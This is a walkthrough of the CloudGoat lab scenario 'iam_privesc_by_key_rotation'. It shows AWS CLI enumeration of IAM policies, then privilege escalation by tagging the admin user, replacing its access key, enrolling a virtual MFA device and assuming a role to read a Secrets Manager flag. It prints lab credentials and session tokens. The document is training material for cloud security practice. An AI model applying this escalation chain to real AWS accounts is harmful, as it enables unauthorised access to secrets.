Warning Spoilers!
This is a write up the CloudGoat scenario iam_privesc_by_key_rotation.
I created this scenario, if you have any feedback please in the CloudGoat GitHub or reach out directly.
Installation
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
pip3 install -r ./requirements.txt
chmod +x cloudgoat.py
If you run into an issue when installing the requirements you may have to install a newer version of PyYAML.
If your using custom aws profiles use the following command.
./cloudgoat.py config profile
Scenario
The goal of the scenario is to retrieve the value in a secretsmanager secret.
./cloudgoat.py create iam_privesc_by_key_rotation
# cloudgoat_output_kerrigan_access_key_id = AKIAU67FXIGALRC5KCFP
# cloudgoat_output_kerrigan_secret_key = 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
Once the resources are created you get AWS CLI credentials.
export AWS_ACCESS_KEY_ID=AKIAU67FXIGALRC5KCFP
export AWS_SECRET_ACCESS_KEY=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
aws sts get-caller-identity
# {
# "UserId": "AIDAU67FXIGAA2UY52ILW",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/manager_iam_privesc_by_key_rotation_cgidgbuariauok"
# }
Enumeration
aws iam list-users
# admin_iam_privesc_by_key_rotation_cgidgbuariauok
# developer_iam_privesc_by_key_rotation_cgidgbuariauok
# manager_iam_privesc_by_key_rotation_cgidgbuariauok
aws iam list-attached-user-policies --user-name manager_iam_privesc_by_key_rotation_cgidgbuariauok
# IAMReadOnlyAccess
aws iam list-user-policies --user-name manager_iam_privesc_by_key_rotation_cgidgbuariauok
# SelfManageAccess
# TagResources
aws iam get-user-policy --user-name manager_iam_privesc_by_key_rotation_cgidgbuariauok --policy-name SelfManageAccess
# {
# "Action": [
# "iam:DeactivateMFADevice",
# "iam:GetMFADevice",
# "iam:EnableMFADevice",
# "iam:ResyncMFADevice",
# "iam:DeleteAccessKey",
# "iam:UpdateAccessKey",
# "iam:CreateAccessKey"
# ],
# "Condition": {
# "StringEquals": {
# "aws:ResourceTag/developer": "true"
# }
# },
# "Effect": "Allow",
# "Resource": [
# "arn:aws:iam::0123456789:user/*",
# "arn:aws:iam::0123456789:mfa/*"
# ],
# "Sid": "SelfManageAccess"
# },
# {
# "Action": [
# "iam:DeleteVirtualMFADevice",
# "iam:CreateVirtualMFADevice"
# ],
# "Effect": "Allow",
# "Resource": "arn:aws:iam::0123456789:mfa/*",
# "Sid": "CreateMFA"
# }
aws iam get-user-policy --user-name manager_iam_privesc_by_key_rotation_cgidgbuariauok --policy-name TagResources
# {
# "Action": [
# "iam:UntagUser",
# "iam:UntagRole",
# "iam:TagRole",
# "iam:UntagMFADevice",
# "iam:UntagPolicy",
# "iam:TagMFADevice",
# "iam:TagPolicy",
# "iam:TagUser"
# ],
# "Effect": "Allow",
# "Resource": "*",
# "Sid": "TagResources"
# }
In addition to ReadOnly access the inline policy SelfManageAccess
allows the user to setup access to users with the developer tag.
The second inline policy TagResources
lets us tag roles, policies, mfa devices, and most interesting users.
Before we start tagging users lets see what permissions the other users have.
aws iam list-attached-user-policies --user-name developer_iam_privesc_by_key_rotation_cgidgbuariauok
# None
aws iam list-user-policies --user-name developer_iam_privesc_by_key_rotation_cgidgbuariauok
# DeveloperViewSecrets
aws iam get-user-policy --user-name developer_iam_privesc_by_key_rotation_cgidgbuariauok --policy-name DeveloperViewSecrets
# {
# "Action": "secretsmanager:ListSecrets",
# "Effect": "Allow",
# "Resource": "*",
# "Sid": "ViewSecrets"
# }
The developer user has access to view all secrets but that does not allow the retrieval of the secret data. 😢
aws iam list-attached-user-policies --user-name admin_iam_privesc_by_key_rotation_cgidgbuariauok
# IAMReadOnlyAccess
aws iam list-user-policies --user-name admin_iam_privesc_by_key_rotation_cgidgbuariauok
# AssumeRoles
aws iam get-user-policy --user-name admin_iam_privesc_by_key_rotation_cgidgbuariauok --policy-name AssumeRoles
# {
# "Action": "sts:AssumeRole",
# "Effect": "Allow",
# "Resource": "arn:aws:iam::0123456789:role/cg_secretsmanager_iam_privesc_by_key_rotation_cgidgbuariauok",
# "Sid": "AssumeRole"
# }
Based on the name we know its going to be something juicy. The ReadOnly policy is self explaining, but the second policy lets us assume a role.
aws iam get-role --role-name cg_secretsmanager_iam_privesc_by_key_rotation_cgidgbuariauok
# "Statement": [
# {
# "Sid": "",
# "Effect": "Allow",
# "Principal": {
# "AWS": "arn:aws:iam::0123456789:root"
# },
# "Action": "sts:AssumeRole",
# "Condition": {
# "Bool": {
# "aws:MultiFactorAuthPresent": "true"
# }
# }
# }
# ]
aws iam list-role-policies --role-name cg_secretsmanager_iam_privesc_by_key_rotation_cgidgbuariauok
# None
aws iam list-attached-role-policies --role-name cg_secretsmanager_iam_privesc_by_key_rotation_cgidgbuariauok
# arn:aws:iam::0123456789:policy/cg_view_secrets_iam_privesc_by_key_rotation_cgidgbuariauok
The statement above shows that any subject in the account can assume it if the condition of having MFA. Lets look into what the policy cg_view_secrets_iam_privesc_by_key_rotation_cgidgbuariauok
grants the role.
aws iam get-policy --policy-arn arn:aws:iam::0123456789:policy/cg_view_secrets_iam_privesc_by_key_rotation_cgidgbuariauok
# "DefaultVersionId": "v1"
aws iam get-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg_view_secrets_iam_privesc_by_key_rotation_cgidgbuariauok --version-id v1
# {
# "Action": "secretsmanager:ListSecrets",
# "Effect": "Allow",
# "Resource": "*"
# },
# {
# "Action": "secretsmanager:GetSecretValue",
# "Effect": "Allow",
# "Resource": "arn:aws:secretsmanager:us-east-1:0123456789:​secret:cg_secret_iam_privesc_by_key_rotation_cgidgbuariauok-jcJu3f"
# }
First we check which version is in use and then retrieve the permissions. The first statement lets it list all secrets (same as the developer user). The second lets us get the secret values of the scenarios.
With all the information we gathered its time to exploit.
Exploitation
First lets add a tag to the admin user to allow us to change its access keys.
aws iam tag-user --user-name admin_iam_privesc_by_key_rotation_cgidgbuariauok --tags '{"Key":"developer","Value":"true"}'
Next we will replace a access key with one we manage.
aws iam list-access-keys --user-name admin_iam_privesc_by_key_rotation_cgidgbuariauok
# {
# "AccessKeyMetadata": [
# {
# "UserName": "admin_iam_privesc_by_key_rotation_cgidgbuariauok",
# "AccessKeyId": "AKIAU67FXIGAO2DFE264",
# "Status": "Inactive",
# "CreateDate": "2023-09-24T00:42:07+00:00"
# },
# {
# "UserName": "admin_iam_privesc_by_key_rotation_cgidgbuariauok",
# "AccessKeyId": "AKIAU67FXIGAELIIY4GE",
# "Status": "Inactive",
# "CreateDate": "2023-09-24T00:42:07+00:00"
# }
# ]
# }
aws iam delete-access-key --user-name admin_iam_privesc_by_key_rotation_cgidgbuariauok --access-key-id AKIAU67FXIGAO2DFE264
aws iam create-access-key --user-name admin_iam_privesc_by_key_rotation_cgidgbuariauok
# {
# "AccessKey": {
# "UserName": "admin_iam_privesc_by_key_rotation_cgidgbuariauok",
# "AccessKeyId": "AKIAU67FXIGAPPGKFXNL",
# "Status": "Active",
# "SecretAccessKey": "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",
# "CreateDate": "2023-09-24T01:14:38+00:00"
# }
# }
Now that we have credentials of the admin user we need to assume the role, but it require MFA to work. Lets add a new MFA device to the user.
aws iam create-virtual-mfa-device --virtual-mfa-device-name cloudgoat_virtual_mfa --outfile QRCode.png --bootstrap-method QRCodePNG
# "SerialNumber": "arn:aws:iam::0123456789:mfa/cloudgoat_virtual_mfa"
With a TOTP device scan (recommend) the QR code in the file QRCode.png
With two token generate enable and attach the device to the admin user
aws iam enable-mfa-device \
--user-name admin_iam_privesc_by_key_rotation_cgidgbuariauok \
--serial-number arn:aws:iam::0123456789:mfa/cloudgoat_virtual_mfa \
--authentication-code1 037962 \
--authentication-code2 192464
With both the access keys and MFA lets assume the role.
export AWS_ACCESS_KEY_ID=AKIAU67FXIGAPPGKFXNL
export AWS_SECRET_ACCESS_KEY=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
aws sts assume-role --role-arn arn:aws:iam::0123456789:role/cg_secretsmanager_iam_privesc_by_key_rotation_cgidgbuariauok --role-session-name cloudgoat_secret --serial-number arn:aws:iam::0123456789:mfa/cloudgoat_virtual_mfa --token-code 939044
# {
# "Credentials": {
# "AccessKeyId": "ASIAU67FXIGAMMEOGRX3",
# "SecretAccessKey": "o6poyTITtIxw7FGxZAyBJ5wJKKW8u19M9pcPNu6v",
# "SessionToken": "IQoJb3JpZ2luX2VjEEIaCXVzLWVhc3QtMSJHMEUCIQDQKmdtqKTHXZxitNFpxDrWMjjwA/FWAW0mPatLNiC1rgIgXfBYZbwwY65HXEnkKXxH6A94rpNriJbd4N2P/ehn48kqnQIIOhAAGgwzNDEzOTQ4MDEwMjQiDO+74LufDpv1yVMa5Sr6AWRJZGcrzZwu/bh2us0dY6egVulOOGb7pLsqXEVOwVvqi5irxSFrSHf4EvGOa2DosVeI7tnUC1GSwxR7M2DkODmSFZThewbEOZEO0EBNRK8AReMAwdWzaL+DXCPWuSzjdbFWrzDASi3kZHMgdBN14OznOSJhFfcc71yZg+4Ja0nf91NxBD4ZUUPtRmfzW074GAEwWAllAfDHKT59Ac3NGHRdykvr7YR+zDY5aUJQh3UyK6bld7bAymsxRlFBMc3jF2xCgmVqswp4pYeESoNsz3VAv6Sw1mNQVbiovDftkR69Dl11Pe2rGy64sJWFtC0QEcMNgS40XJanj8swrp6+qAY6nQE5blGQeaifsd1ucnklEdggRDcJL6+a9o+IaP50+NcoL0sbEjfvq1f/y33Xcmkt67qM8wMfnEBxRa7WNlTzYo6TMDw1oiAuJTsNW8JpswOwiX0hvel5SXPKpld3Kxe4DggOOpYUF3lDzLBWEwzNT6CUYYj5KEGKWstzRTifLgOrP4xeODK266tP9cMv72aS9vroJKeTQ38GEFpbKUVK",
# "Expiration": "2023-09-24T02:21:50+00:00"
# },
# "AssumedRoleUser": {
# "AssumedRoleId": "AROAU67FXIGAJH5SULBXM:cloudgoat_secret",
# "Arn": "arn:aws:sts::0123456789:assumed-role/cg_secretsmanager_iam_privesc_by_key_rotation_cgidgbuariauok/cloudgoat_secret"
# }
# }
In another terminal lets export the roles credentials
export AWS_ACCESS_KEY_ID=ASIAU67FXIGAMMEOGRX3
export AWS_SECRET_ACCESS_KEY=o6poyTITtIxw7FGxZAyBJ5wJKKW8u19M9pcPNu6v
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEEIaCXVzLWVhc3QtMSJHMEUCIQDQKmdtqKTHXZxitNFpxDrWMjjwA/FWAW0mPatLNiC1rgIgXfBYZbwwY65HXEnkKXxH6A94rpNriJbd4N2P/ehn48kqnQIIOhAAGgwzNDEzOTQ4MDEwMjQiDO+74LufDpv1yVMa5Sr6AWRJZGcrzZwu/bh2us0dY6egVulOOGb7pLsqXEVOwVvqi5irxSFrSHf4EvGOa2DosVeI7tnUC1GSwxR7M2DkODmSFZThewbEOZEO0EBNRK8AReMAwdWzaL+DXCPWuSzjdbFWrzDASi3kZHMgdBN14OznOSJhFfcc71yZg+4Ja0nf91NxBD4ZUUPtRmfzW074GAEwWAllAfDHKT59Ac3NGHRdykvr7YR+zDY5aUJQh3UyK6bld7bAymsxRlFBMc3jF2xCgmVqswp4pYeESoNsz3VAv6Sw1mNQVbiovDftkR69Dl11Pe2rGy64sJWFtC0QEcMNgS40XJanj8swrp6+qAY6nQE5blGQeaifsd1ucnklEdggRDcJL6+a9o+IaP50+NcoL0sbEjfvq1f/y33Xcmkt67qM8wMfnEBxRa7WNlTzYo6TMDw1oiAuJTsNW8JpswOwiX0hvel5SXPKpld3Kxe4DggOOpYUF3lDzLBWEwzNT6CUYYj5KEGKWstzRTifLgOrP4xeODK266tP9cMv72aS9vroJKeTQ38GEFpbKUVK
Lets get that secret.
aws secretsmanager list-secrets
# cg_secret_iam_privesc_by_key_rotation_cgidgbuariauok
aws secretsmanager get-secret-value --secret-id cg_secret_iam_privesc_by_key_rotation_cgidgbuariauok
# "SecretString": "flag{GE7_17_Y0uRsElF}"
Cleanup
rm QRCode.png
./cloudgoat.py destroy iam_privesc_by_key_rotation
Want more CloudGoat? I have more walk through on the website.
Join the Rhino Security Labs Discord.